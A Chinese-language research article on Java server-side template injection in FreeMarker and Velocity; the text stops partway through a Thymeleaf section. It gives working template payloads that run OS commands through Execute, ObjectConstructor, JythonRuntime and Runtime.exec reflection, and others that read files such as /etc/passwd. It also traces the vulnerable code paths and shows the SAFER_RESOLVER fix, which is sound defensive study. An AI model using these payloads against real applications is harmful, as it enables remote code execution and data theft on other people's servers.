Java模版引擎注入(SSTI)漏洞研究

一、FreeMarker模板注入安全風險

0x1:FreeMarker簡介

FreeMarker 是一款Java語言編寫的模板引擎,它是一種基於模板和程序動態生成的數據,動態生成輸出文本(HTML網頁,電子郵件,配置文件,源代碼等)的通用工具。它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。

目前企業中,主要用Freemarker做靜態頁面或是頁面展示

FreeMarker模板文件主要由如下4個部分組成:

  • (1)文本:直接輸出的部分
  • (2)註釋:使用<#-- ... -->格式做註釋,裏面內容不會輸出
  • (3)插值:即${...}或#{...}格式的部分,類似於佔位符,將使用數據模型中的部分替代輸出
  • (4)FTL指令:即FreeMarker指令,全稱是:FreeMarker Template Language,和HTML標記類似,但名字前加#予以區分,不會輸出。FreeMarker採用FreeMarker Template Language(FTL),它是簡單的,專用的語言。但是FTL不是像PHP那樣成熟的編程語言,這意味着需要其他真實變成語言中進行數據準備,比如數據庫查詢和業務運算,之後模板顯示已經準備好的數據。在模板中,你可以專注於如何展現數據, 而在模板之外可以專注於要展示什麼數據。

下面是一個FreeMarker模板的例子,包含了以上所說的4個部分:

<html>
<head>
<title>Welcome to FreeMarker 中文官網</title><br> 
</head> 
<body>
<#-- 註釋部分 --> 
<#-- 下面使用插值 --> 
<h1>Welcome ${user} !</h1><br> 
<p>We have these animals:<br> 
<u1>
<#-- 使用FTL指令 --> 
<#list animals as being><br> 
  <li>${being.name} for ${being.price} Euros<br> 
<#list>
<u1>
</body> 
</html> 

0x2:FreeMarker相比JSP的優點

FreeMarker與Web容器無關,即在Web運行時,它並不知道Servlet或HTTP,故此FreeMarker不僅可以用作表現層的實現技術,而且還可以用於生成XML,JSP或Java等各種文本文件。

在Java Web領域,FreeMarker是應用廣泛的模板引擎,主要用於MVC中的view層,生成html展示數據給客戶端,可以完全替代JSP。

FreeMarker的誕生是爲了取代JSP。雖然JSP功能強大,可以寫Java代碼實現複雜的邏輯處理,但是頁面會有大量業務邏輯,不利於維護和閱讀,更不利於前後臺分工,容易破壞MVC結構,所以捨棄JSP,選擇使用FreeMarker是大勢所趨。當前很多企業使用FreeMarker取代JSP,FreeMarker有衆多的優點,如下所示:

  • (1)很好地分離表現層和業務邏輯。JSP功能很強大,它可以在前臺編寫業務邏輯代碼,但這也帶來了一個很大的弊端——頁面內容雜亂,可讀性差,這將會大大增加後期的維護難度。而FreeMarker職責明確,功能專注,僅僅負責頁面的展示,從而去掉了繁瑣的邏輯代碼。FreeMarker的原理就是:模板+數據模型=輸出,模板只負責數據在頁面中的表現,不涉及任何的邏輯代碼,而所有的邏輯都是由數據模型來處理的。用戶最終看到的輸出是模板和數據模型合併後創建的。
  • (2)提高開發效率。衆所周知,JSP在第一次執行的時候需要轉換成Servlet類,之後的每次修改都要編譯和轉換。這樣就造成了每次修改都需要等待編譯的時間,效率低下。而FreeMarker模板技術並不存在編譯和轉換的問題,所以就不會存在上述問題。相比而言,使用FreeMarker可以提高一定的開發效率。
  • (3)明確分工。JSP頁面前後端的代碼寫到了一起,耦合度很高,前端開發需要熟悉後臺環境,需要去調試,而後臺開發人員需要去做不熟悉的前端界面設計。對兩者而言,交替性的工作需要花費一定的學習成本,效率低下。而使用FreeMarker後,前後端完全分離,大家各幹各的,互不影響。
  • (4)簡單易用,功能強大。FreeMarker支持JSP標籤,宏定義比JSP Tag方便,同時內置了大量常用功能,比如html過濾,日期金額格式化等等。FreeMarker代碼十分簡潔,上手快,使用非常方便。

總之,FreeMarker是一個模板引擎,一個基於模板生成文本輸出的通用工具,使用純Java編寫,模板中沒有業務邏輯,外部Java程序通過數據庫操作等生成數據傳入模板(template)中,然後輸出頁面。它能夠生成各種文本:HTML、XML、RTF、Java源代碼等等,而且不需要Servlet環境,並且可以從任何源載入模板,如本地文件、數據庫等等。

0x3:FreeMarker開發案例

FreeMarker沒有其他的任何依賴,僅僅依賴Java自身,把FreeMarker的jar包添加到工程中,Maven工程添加依賴。

<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker -->
<dependency>
    <groupId>org.freemarker</groupId>
    <artifactId>freemarker</artifactId>
    <version>2.3.31</version>
</dependency>

編寫模板文件hello.ftl,

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入門</title>
</head>
<body>
<#--我只是一個註釋,我不會有任何輸出 -->
${name}你好,${message}
</body>
</html>

編寫java文件,調用FreeMarker動態生成網頁內容,

package org.example;


import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.File;
import java.io.FileWriter;
import java.io.Writer;
import java.util.HashMap;
import java.util.Map;

public class HelloFreeMarker {
    public static void main(String[] args) throws Exception{
        //1.創建配置類
        Configuration configuration = new Configuration(Configuration.getVersion());
        //2.設置模板所在的目錄
        configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources"));
        //3.設置字符集
        configuration.setDefaultEncoding("utf-8");
        //4.加載模板
        Template template = configuration.getTemplate("hello.ftl");
        //5.創建數據模型
        Map map=new HashMap();
        map.put("name", "張三");
        map.put("message", "歡迎來到我的博客!");
        //6.創建Writer對象
        Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/hello.html"));
        //7.輸出
        template.process(map, out);
        //8.關閉Writer對象
        out.close();
    }
}

0x4:相關危險函數

1、new

創建任意實現了TemplateModel接口的Java對象,同時在使用new的時候,還能夠執行沒有實現該接口類的靜態初始化塊。

FreeMarker模板注入poc中常用的兩個類:

  • freemarker.template.utility.JythonRuntime
  • freemarker.template.utility.Execute

這兩個類都繼承了TemplateModel接口。

2、API

value?api 提供對 value 的 API(通常是 Java API)的訪問,例如

  • value?api.someJavaMethod() 
  • value?api.someBeanProperty

可通過 getClassLoader獲取類加載器從而加載惡意類,或者也可以通過 getResource來實現任意文件讀取。

但是,當api_builtin_enabled爲true時纔可使用api函數,而該配置在2.3.22版本之後默認爲false。

0x5:漏洞風險面POC及漏洞代碼分析 

exec_pcc.java
package org.example;

import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.File;
import java.io.FileWriter;
import java.io.Writer;
import java.util.HashMap;
import java.util.Map;

public class exec_pcc {
    public static void main(String[] args) throws Exception{
        //1.創建配置類
        Configuration configuration = new Configuration(Configuration.getVersion());
        //2.設置模板所在的目錄
        configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources"));
        //3.設置字符集
        configuration.setDefaultEncoding("utf-8");
        //4.加載模板
        Template template = configuration.getTemplate("exec_poc1.ftl");
        //5.創建數據模型
        Map map=new HashMap();
        map.put("name", "張三");
        map.put("message", "歡迎來到我的博客!");
        //6.創建Writer對象
        Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/exec_poc1.html"));
        //7.輸出
        template.process(map, out);
        //8.關閉Writer對象
        out.close();
    }
}

1、命令執行

1) freemarker.template.utility.Execute

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入門</title>
</head>
<body>
<#--我只是一個註釋,我不會有任何輸出 -->
${name}你好,${message}

<h3>
    <#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
</h3>

</body>
</html>

從在freemarker\template\utility\Execute.class類的exec方法處下斷點,

從調用棧可以看出,觸發ftl風險代碼的調用棧從 freemarker.template.process開始,

exec:75, Execute (freemarker.template.utility)
_eval:62, MethodCall (freemarker.core)
eval:101, Expression (freemarker.core)
calculateInterpolatedStringOrMarkup:100, DollarVariable (freemarker.core)
accept:63, DollarVariable (freemarker.core)
visit:334, Environment (freemarker.core)
visit:340, Environment (freemarker.core)
process:313, Environment (freemarker.core)
process:383, Template (freemarker.template)

process() 方法是做了一個輸出(生成) HTML 文件或其他文件的工作,相當於渲染的最後一步了。

在 process() 方法中,會對 ftl 的文件進行遍歷,讀取一些信息,下面我們先說對於正常語句的處理,再說對於 ftl 表達式的處理。

在讀取到每一條 freeMarker 表達式語句的時候,會二次調用 visit() 方法,

而 visit() 方法又調用了 element.accept(),

跟進evalAndCoerceToString,該方法做的業務是將模型強制爲字符串或標記,

跟進eval方法,

eval() 方法簡單判斷了 constantValue 是否爲 null,這裏 constantValue 爲 null,跟進 this._eval(),一般的 _eval() 方法只是將 evn 獲取一下,但是對於 ftl 語句就不是這樣了。

一般的 _eval() 方法如下,

回到element.accept(),對於 ftl 表達式來說,accept 方法是這樣的, 

跟進一下 accept 方法,

跟進 eval() 方法,

再跟進 _eval(), 

我們可以看到 targetMethod 目前就是我們在 ftl 語句當中構造的那個能夠進行命令執行的類,也就是說這一個語句相當於,

Object result = targetMethod.exec(argumentStrings);
​
// 等價於
​
Object result = freemarker.template.utility.Execute.exec(argumentStrings);

而這一步並非直接進行命令執行,而是先把這個類通過 newInstance() 的方式進行初始化。

命令執行的參數,會被拿出來,在下一次的同樣流程中作爲命令被執行,

至此,漏洞代碼分析結束。

可以看到,這又是一個因爲Java的多態、繼承機制引發的注入風險。由於ftl中存在某些具有高風險操作的elements tag,這些elements tag的解析類通過繼承實現了對應的eval接口,並且在實現類中引入了高風險的操作攻擊面。

理論上,任何使用了FreeMarker的MVC框架都可能存在模板注入風險。 

這又是一個典型地功能豐富、存在風險面的SDK被誤用,導致攻擊面暴露的漏洞場景。

2)freemarker.template.utility.ObjectConstructor 

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入門</title>
</head>
<body>
<#--我只是一個註釋,我不會有任何輸出 -->
${name}你好,${message}

<h3>
    <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","ifconfig").start()}
</h3>

</body>
</html>

3)freemarker.template.utility.JythonRuntime

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入門</title>
</head>
<body>
<#--我只是一個註釋,我不會有任何輸出 -->
${name}你好,${message}

<h3>
    <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("whoami")
</h3>

</body>
</html>

4)文件讀取

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入門</title>
</head>
<body>
<#--我只是一個註釋,我不會有任何輸出 -->
${name}你好,${message}

<h3>
    <#assign is=object?api.class.getResourceAsStream("/Users/zhenghan/Downloads/test.jsp")>
    FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, </#list>]
</h3>

</body>
</html>
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

0x6:修復與防禦

Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

設置cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);,它會加入一個校驗,將freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor過濾。

package org.example;

import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.File;
import java.io.FileWriter;
import java.io.Writer;
import java.util.HashMap;
import java.util.Map;

public class exec_pcc {
    public static void main(String[] args) throws Exception{
        //1.創建配置類
        Configuration configuration = new Configuration(Configuration.getVersion());
        //2.設置模板所在的目錄
        configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources"));
        //3.設置字符集
        configuration.setDefaultEncoding("utf-8");
        //4.加載模板
        Template template = configuration.getTemplate("exec_poc1.ftl");

        // 增加elements安全過濾
        configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

        //5.創建數據模型
        Map map=new HashMap();
        map.put("name", "張三");
        map.put("message", "歡迎來到我的博客!");
        //6.創建Writer對象
        Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/exec_poc1.html"));
        //7.輸出
        template.process(map, out);
        //8.關閉Writer對象
        out.close();
    }
}

分析TemplateClassResolver.SAFER_RESOLVER,

從 2.3.17版本以後,官方版本提供了三種TemplateClassResolver對類進行解析:

  1. UNRESTRICTED_RESOLVER:可以通過 ClassUtil.forName(className) 獲取任何類。
  2. SAFER_RESOLVER:不能加載 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor這三個類。
  3. ALLOWS_NOTHING_RESOLVER:不能解析任何類。

可通過freemarker.core.Configurable#setNewBuiltinClassResolver方法設置TemplateClassResolver,從而限制通過new()函數對freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor這三個類的解析。 

參考鏈接:

https://blog.csdn.net/qq_41879343/article/details/108797346
http://www.freemarker.net/ 
https://www.cnblogs.com/dynasty/archive/2012/01/29/2331384.html
https://freemarker.apache.org/docs/ref_builtins.html 
https://zhuanlan.zhihu.com/p/585686528
https://xz.aliyun.com/t/12969

 

二、velocity模板注入安全風險

0x1:velocity簡介

Velocity是一個基於Java的模板引擎,可以通過特定的語法獲取在java對象的數據 , 填充到模板中,從而實現界面和java代碼的分離。

Velocity有如下應用場景:

  • Web應用程序 : 作爲爲應用程序的視圖, 展示數據。
  • 源代碼生成  : Velocity可用於基於模板生成Java源代碼。
  • 自動電子郵件 : 網站註冊 , 認證等的電子郵件模板。
  • 網頁靜態化  : 基於velocity模板 , 生成靜態網頁。

Velocity模板的基本組成結構如下:

模塊描述
app 主要封裝了一些接口 , 暴露給使用者使用。主要有兩個類,分別是Velocity(單例)和VelocityEngine。
Context 主要封裝了模板渲染需要的變量
Runtime 整個Velocity的核心模塊,Runtime模塊會將加載的模板解析成語法樹,Velocity調用mergeTemplate方法時會渲染整棵樹,並輸出最終的渲染結果。
RuntimeInstance RuntimeInstance類爲整個Velocity渲染提供了一個單例模式,拿到了這個實例就可以完成渲染過程了。

0x2:Velocity開發案例

新建maven項目,引入velocity依賴,

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Velocity_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity-engine-core</artifactId>
            <version>2.2</version>
        </dependency>
    </dependencies>

</project>

在resources 目錄下創建模板文件,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

hello , ${name} !

</body>
</html>

編寫java代碼主程序,

package org.example;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.FileWriter;
import java.io.IOException;
import java.util.Properties;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        // 1、設置velocity資源加載器
        Properties prop = new Properties();
        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2、初始化velocity引擎
        Velocity.init(prop);
        // 3、創建velocity容器
        VelocityContext context = new VelocityContext();
        context.put("name", "Hello Velocity");
        // 4、加載velocity模板
        Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");
        // 5、合併數據到模板
        FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");
        tpl.merge(context, fw);
        // 6、釋放資源
        fw.close();
    }
}

Velocity解決了如何在後臺程序和網頁之間傳遞數據的問題,後臺代碼和視圖之間相互獨立,一方的修改不影響另一方,他們之間是通過環境變量(Context)來實現的,網頁製作一方和後臺程序一方相互約定好對所傳遞變量的命名約定,比如上面程序例子中的 name變量,它們在網頁上就是$name 。

只要雙方約定好了變量名字,那麼雙方就可以獨立工作了。無論頁面如何變化,只要變量名不變,那麼後臺程序就無需改動,前臺網頁也可以任意由網頁製作人員修改。這就是Velocity的工作原理。

0x3:Velocity基礎語法

Velocity Template Language (VTL) , 是Velocity 中提供的一種模版語言 , 旨在提供最簡單和最乾淨的方法來將動態內容合併到網頁中。

VTL的語句分爲4大類:

  • 註釋
  • 非解析內容
  • 引用
  • 指令

我們關注其中的引用和指令語法。

1、引用

引用語句就是對引擎上下文對象中的屬性進行操作。 

1)變量引用

語法描述
$變量名 若上下文中沒有對應的變量,則輸出字符串"$變量名"
${變量名} 若上下文中沒有對應的變量,則輸出字符串"${變量名}"
$!變量名 若上下文中沒有對應的變量,則輸出空字符串""
$!{變量名} 若上下文中沒有對應的變量,則輸出空字符串""

2)屬性引用

語法描述
$變量名.屬性 若上下文中沒有對應的變量,則輸出字符串"$變量名.屬性"
${變量名.屬性} 若上下文中沒有對應的變量,則輸出字符串"${變量名.屬性}"
$!變量名.屬性 若上下文中沒有對應的變量,則輸出字符串""
$!{變量名.屬性} 若上下文中沒有對應的變量,則輸出字符串""

3)方法引用

方法引用實際就是指方法調用操作,方法的返回值將輸出到最終結果中。

語法描述
$變量名.方法([入參1[, 入參2]*]?) 若上下文中沒有對應的變量,則輸出字符串"$變量名.方法([入參1[, 入參2]*]?"
${變量名.方法([入參1[, 入參2]*]?)} 若上下文中沒有對應的變量,則輸出字符串"${變量名.方法([入參1[, 入參2]*]?)}"
$!變量名.方法([入參1[, 入參2]*]?) 若上下文中沒有對應的變量,則輸出字符串""
$!{變量名.方法([入參1[, 入參2]*]?)} 若上下文中沒有對應的變量,則輸出字符串""

修改一下java主程序代碼,

package org.example;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.FileWriter;
import java.io.IOException;
import java.util.Date;
import java.util.Properties;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        // 1、設置velocity資源加載器
        Properties prop = new Properties();
        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2、初始化velocity引擎
        Velocity.init(prop);
        // 3、創建velocity容器
        VelocityContext context = new VelocityContext();
        // 向容器中放入數據
        context.put("now", new Date());
        // 4、加載velocity模板
        Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");
        // 5、合併數據到模板
        FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");
        tpl.merge(context, fw);
        // 6、釋放資源
        fw.close();
    }
}

修改模板文件,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <h1>方法引用</h1>
    常規語法:$now.getTime()
    正規語法:${now.getTime()}

</body>
</html>

2、指令

指令主要用於定義重用模塊、引入外部資源、流程控制。指令以 # 作爲起始字符。

0x4:漏洞風險面POC

1、web程序中彈出msg

主程序,

package org.example;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.FileWriter;
import java.io.IOException;
import java.util.Date;
import java.util.Properties;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        // 1、設置velocity資源加載器
        Properties prop = new Properties();
        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2、初始化velocity引擎
        Velocity.init(prop);
        // 3、創建velocity容器
        VelocityContext context = new VelocityContext();
        // 向容器中放入數據
        context.put("msg", "外部輸入的消息");
        // 4、加載velocity模板
        Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");
        // 5、合併數據到模板
        FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");
        tpl.merge(context, fw);
        // 6、釋放資源
        fw.close();
    }
}

模板文件,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    #if($msg)

    <script>
        alert('$!msg');
    </script>

    #end

</body>
</html>

2、命令執行

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    #set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

    #set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('whoami'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

</body>
</html>

修改java主程序,

package org.example;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.FileWriter;
import java.io.IOException;
import java.util.Date;
import java.util.Properties;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        // 1、設置velocity資源加載器
        Properties prop = new Properties();
        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2、初始化velocity引擎
        Velocity.init(prop);
        // 3、創建velocity容器
        VelocityContext context = new VelocityContext();
        // 向容器中放入數據
        context.put("cmd", "whoami");
        // 4、加載velocity模板
        Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");
        // 5、合併數據到模板
        FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");
        tpl.merge(context, fw);
        // 6、釋放資源
        fw.close();
    }
}

修改模板文件,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

    #set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
    $scan.next()
#end

</body>
</html>

0x5:漏洞代碼分析 

接下來簡單分析一下velocity存在漏洞的風險代碼原理。

package org.example;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.IOException;
import java.io.StringWriter;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        String username = "外部攻擊者可控輸入";
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Little Hann");
        ctx.put("phone", "123456789");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        // 將模板字符串和上下文對象傳遞給Velocity引擎進行解析和渲染
        Velocity.evaluate(ctx, out, "test", templateString);

        // 輸出velocity渲染結果
        System.out.println(out.toString());

    }
}

模擬velocity SSTI注入攻擊,

package org.example;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;

import java.io.IOException;
import java.io.StringWriter;

public class velocityDemo {
    public static void main(String[] args) throws IOException {
        String username = "#set($e=\"e\")\n" +
                "$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"open -a Calculator\")";
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Little Hann");
        ctx.put("phone", "123456789");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        // 將模板字符串和上下文對象傳遞給Velocity引擎進行解析和渲染
        Velocity.evaluate(ctx, out, "test", templateString);

        // 輸出velocity渲染結果
        System.out.println(out.toString());

    }
}

根據測試程序,首先會進入Velocity類的init方法,

在該方法中,會調用RuntimeSingleton類的init方法,這個方法主要是對模板引擎的初始化,比如設置屬性、初始化日誌系統、資源管理器、指令等。

接下來回到主程序中,實例化VelocityContext,並將三對鍵值對put進去,之後調用Velocity類的evaluate方法,此時templateString的值爲,

Hello, #set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator") | Full name: $name, phone: $phone, email: $email

直接進入了RuntimeInstance的evaluate方法,

進入重載的evaluate方法,

這個方法會調用RuntimeInstance類的parse方法進行解析。

經過兩重調用來到org\apache\velocity\runtime\parser\Parser.class的parse方法。

完成模板文件的parse工作後,生成ast語法樹結構,

到目前爲止,解析工作完成,接下來就是渲染工作了,回到RuntimeInstance類的evaluate方法。

進入render方法中進行渲染,

這裏從context取值去做模板解析,輸出到output writer當中在ASTMethod類的execute方法中反射調用runtime,

至此,通過反射,實現了代碼執行。 

參考鏈接:

https://blog.csdn.net/lovesummerforever/article/details/47378211
https://www.cnblogs.com/jiarui-zjb/p/8227473.html
https://velocity.apache.org/
https://juejin.cn/post/7112775057704747045#heading-5 
https://www.cnblogs.com/CoLo/p/16717761.html
https://www.cnblogs.com/nice0e3/p/16218857.html
https://anemone.top/vulnresearch-Solr_Velocity_injection/
https://paper.seebug.org/1107/

 

三、Thymeleaf模板注入安全風險

0x1:Thymeleaf簡介

Thymeleaf 是一款用於渲染 HTML/XML/TEXT/JAVASCRIPT/CSS/RAW 內容的模板引擎。它與 JSP,Velocity,FreeMaker 等模板引擎類似,也可以輕易地與 Spring MVC 等 Web 框架集成。

與其它模板引擎相比,Thymeleaf 最大的特點是,即使不啓動 Web 應用,也可以直接在瀏覽器中打開並正確顯示模板頁面,Thymeleaf 支持 HTML 原型,其文件後綴爲“.html”,因此它可以直接被瀏覽器打開,此時瀏覽器會忽略未定義的 Thymeleaf 標籤屬性,展示 thymeleaf 模板的靜態頁面效果;當通過 Web 應用程序訪問時,Thymeleaf 會動態地替換掉靜態內容,使頁面動態顯示。

Thymeleaf 通過在 html 標籤中,增加額外屬性來達到“模板+數據”的展示方式,示例代碼如下。

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<!--th:text 爲 Thymeleaf 屬性,用於在展示文本-->
<h1 th:text="迎您來到Thymeleaf">歡迎您訪問靜態頁面 HTML</h1>
</body>
</html>

當直接使用瀏覽器打開時,瀏覽器展示結果如下。

歡迎您訪問靜態頁面HTML

當通過 Web 應用程序訪問時,瀏覽器展示結果如下。

迎您來到Thymeleaf

總體來說,Thymeleaf具體如下特點:

  • 動靜結合:Thymeleaf 既可以直接使用瀏覽器打開,查看頁面的靜態效果,也可以通過 Web 應用程序進行訪問,查看動態頁面效果。
  • 開箱即用:Thymeleaf 提供了 Spring 標準方言以及一個與 SpringMVC 完美集成的可選模塊,可以快速的實現表單綁定、屬性編輯器、國際化等功能。
  • 多方言支持:它提供了 Thymeleaf 標準和 Spring 標準兩種方言,可以直接套用模板實現 JSTL、OGNL 表達式,必要時,開發人員也可以擴展和創建自定義的方言。
  • 與 SpringBoot 完美整合:SpringBoot 爲 Thymeleaf 提供了的默認配置,並且還爲 Thymeleaf 設置了視圖解析器,因此 Thymeleaf 可以與 Spring Boot 完美整合。

0x2:Thymeleaf 語法規則 

在使用 Thymeleaf 之前,首先要在頁面的 html 標籤中聲明名稱空間,示例代碼如下。

xmlns:th="http://www.thymeleaf.org"

在 html 標籤中聲明此名稱空間,可避免編輯器出現 html 驗證錯誤,但這一步並非必須進行的,即使我們不聲明該命名空間,也不影響 Thymeleaf 的使用。

Thymeleaf 作爲一種模板引擎,它擁有自己的語法規則。Thymeleaf 語法分爲以下 2 類:

  • 標準表達式語法
  • th 屬性

1、標準表達式語法

Thymeleaf 模板引擎支持多種表達式:
  • 變量表達式:${...}
  • 選擇變量表達式:*{...}
  • 鏈接表達式:@{...}
  • 國際化表達式:#{...}
  • 片段引用表達式:~{...}

2、th 屬性

Thymeleaf 還提供了大量的 th 屬性,這些屬性可以直接在 HTML 標籤中使用,其中常用 th 屬性及其示例如下表。

屬性描述示例
th:id 替換 HTML 的 id 屬性
  • <input id="html-id" th:id="thymeleaf-id" />
th:text 文本替換,轉義特殊字符
  • <h1 th:text="hello,bianchengbang" >hello</h1>
th:utext 文本替換,不轉義特殊字符
  • <div th:utext="'<h1>歡迎來到編程幫!</h1>'" >歡迎你</div>
th:object 在父標籤選擇對象,子標籤使用 *{…} 選擇表達式選取值。
沒有選擇對象,那子標籤使用選擇表達式和 ${…} 變量表達式是一樣的效果。
同時即使選擇了對象,子標籤仍然可以使用變量表達式。
  • <div th:object="${session.user}" >
  • <p th:text="*{fisrtName}">firstname</p>
  • </div>
th:value 替換 value 屬性
  • <input th:value "${user.name}" />
th:with 局部變量賦值運算
  • <div th:with="isEvens = ${prodStat.count}%2 == 0" th:text="${isEvens}"></div>
th:style 設置樣式
  • <div th:style="'color:#F00; font-weight:bold'">編程幫 www.biancheng.net</div>
th:onclick 點擊事件
  • <td th:onclick "'getInfo()'"></td>
th:each 遍歷,支持 Iterable、Map、數組等。
 
  • <table>
  • <tr th:each="m:${session.map}">
  • <td th:text="${m.getKey()}"></td>
  • <td th:text="${m.getValue()}"></td>
  • </tr>
  • </table>
th:if 根據條件判斷是否需要展示此標籤
  • <a th:if ="${userId == collect.userId}">
th:unless 和 th:if 判斷相反,滿足條件時不顯示
  • <div th:unless="${m.getKey()=='name'}" ></div>
th:switch 與 Java 的 switch case語句類似
通常與 th:case 配合使用,根據不同的條件展示不同的內容
  • <div th:switch="${name}">
  • <span th:case="a">編程幫</span>
